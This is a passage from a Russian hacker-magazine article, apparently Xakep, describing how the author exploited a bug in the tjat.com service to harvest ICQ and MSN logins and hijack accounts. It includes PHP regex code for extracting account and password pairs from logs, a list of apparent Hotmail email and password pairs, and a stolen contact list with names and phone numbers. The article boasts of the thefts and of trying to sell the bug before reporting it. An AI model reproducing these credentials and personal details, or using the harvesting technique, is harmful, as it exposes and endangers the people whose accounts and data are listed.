Май - Xakep Online

взлом
Номерки Содержимое /etc/passwd
мыл, чтобы потом их пробить по базе primary-mail
6dig уинов? Принявшись за дело, сначала я изменил
первую функцию так, чтобы скрипт показывал
мне логи не аськи, а msn-аккаунтов:
preg_match_all('/
msn_account=(.*)&msn_
pwd=(.*)(&|HTTP)/
i',$buffer,$matches3);
$matches[0]=array_
unique($matches[0]);
!empty($matches[0][0]) ? print
$matches[0][0]."\n" : '';
А в парсере я подправил следующее:
$s=preg_replace("/msn_
account=(.*)&msn_pwd=(.*)(
|HTTP)/i","$1;$2",$s);
В итоге получился красивый списочек мыл,
из которых на тысячу 5-8 стабильно были
primary к какому-нибудь шестизнаку. Привожу
тут небольшой списочек (теперь пускай меня
прощают владельцы этих мыл :)).
Jadallaf@hotmail.Com;farouk1975
cutemalik9@hotmail.com;456321
Devil.Matrix@hotmail.Com;
2081988
Crno_slatko_pile@hotmail.com;
901901
M3assal_teffehten@hotmail.сom;
charbel
Про то, как я писал скрипты, которые сравнивают
базы примаков и мои логи, рассказывать не
буду, так как это отдельная и очень печальная
история :).
Эпилог
Отыскав эту багу, я получил очень и очень
много элитных уинов: шох, зеркал, xy и т.д. На
одном из них (xxyxxx) сижу до сих пор :). А чтобы
ты, дорогой читатель, возрадовался, открою
тебе небольшой секрет. Сервис tjat.com очень
любят асечные админы, я уводил такие их
номерки, как:
xàêåð 05 /101/ 07
/
23673
59000
55444
35555
С 23673 даже произошла очень веселая
история: другие номерки админы забирали
максимум через день, а этот я привязал к Рамблер-ICQ
и при любой попытке админа забрать
его обратно возвращал его себе :). Это продолжалось
около месяца, пока админ не додумался
убить в базе аськи значение с привязкой этого
номера.
На сладкое приведу здесь кусочек контактлиста
35555:
ICQ;10008;Orey Gil-yam;;+972
(52) 4872322 SMS;Fri Sep 23 2005
11:08:38
ICQ;10009;Tomer;;;Sun Sep 25
2005 13:00:09
ICQ;11221;Liat -Mrkt;;;Thu Mar
30 2006 13:28:59
General;65656;Eitan Shay;;+972
(55) 766582.;Fri Feb 10 2006
08:54:58
General;7050324;Clarisse;;;Fri
Feb 10 2006 08:53:53
General;77770;Benny;;;Fri Feb 10
2006 08:53:54
Friends;56666;Dan
Rogachevsky;;+972 (50)
3089999;Fri Feb 10 2006 08:54:58
Cellcom;55155;Ran —
Cellcom;;;Fri Feb 10 2006
08:54:58
Bell Mobility;1028176;Eric
Corbeil;;;Thu Dec 23 2004
13:31:59
Bell Mobility;62381992;Mellie
Chow;;;Fri Feb 10 2006 08:54:59
BigMir Ukrine;141222364;...
Yaroslav...;;;Mon Jul 24 2006
13:04:57
AOL Ops;20702012;Patrick;;;Thu
Dec 23 2004 13:30:55
AOL Ops;54662;ICQ NOC;;;Fri Feb
10 2006 08:54:58
AOL Ops;71173;kate;;;Fri Feb 10
2006 08:53:53
Небольшое примечание: 10008 — самый
главный человек в аське, так что звони ему и
пиши sms :).
З.Ы.
После благополучного использования баги
в течение пяти месяцев во мне взыграла
жадность, и я решил продать ее. Поместил
объявление на асечке, прошел гаранта, и
тут знающие люди начали копать… В итоге
все узнали про бажный сервис и некоторые
чуть не докопались до сути. Поняв, что с меня
хватит такого геморроя, я написал эту статью
и сообщил о баге администраторам сервиса,
которые ее благополучно и прикрыли. Кстати,
после публикации на асечке реакция админов
последовала незамедлительно — у себя на
форуме они написали, что tjat.com не ведет
никаких логов, им очень жаль людей, которые
потеряли номерки, но админы и их сервис ни в
чем не виноваты:
Tjat system NOT storing any
UIN passwords (The validation
process is not with Tjat at all
(Icq.com), so we dont need that
information), the passwords
stored on your mobile device
himself, as a part of the
RememberMe feature.
Please consider that when using
any RememberMe feature on
cellular phones at all DONT give
your mobile to others, or remove
these links/cookies first, they
can use it for abuse!!!
Охотно им поверим и закончим на этом :).
Пользуясь случаем, передаю спасибо за
моральную поддержку Cash, [De1eT], F100D
P0w3R, DarkFull, Zahareg, всем, кто принимал
участие в развитии этой истории на асечке и
злом, а также админам tjat.com за то, что они
все же прочитали мой мейл и приняли меры по
устранению уязвимости :).z
089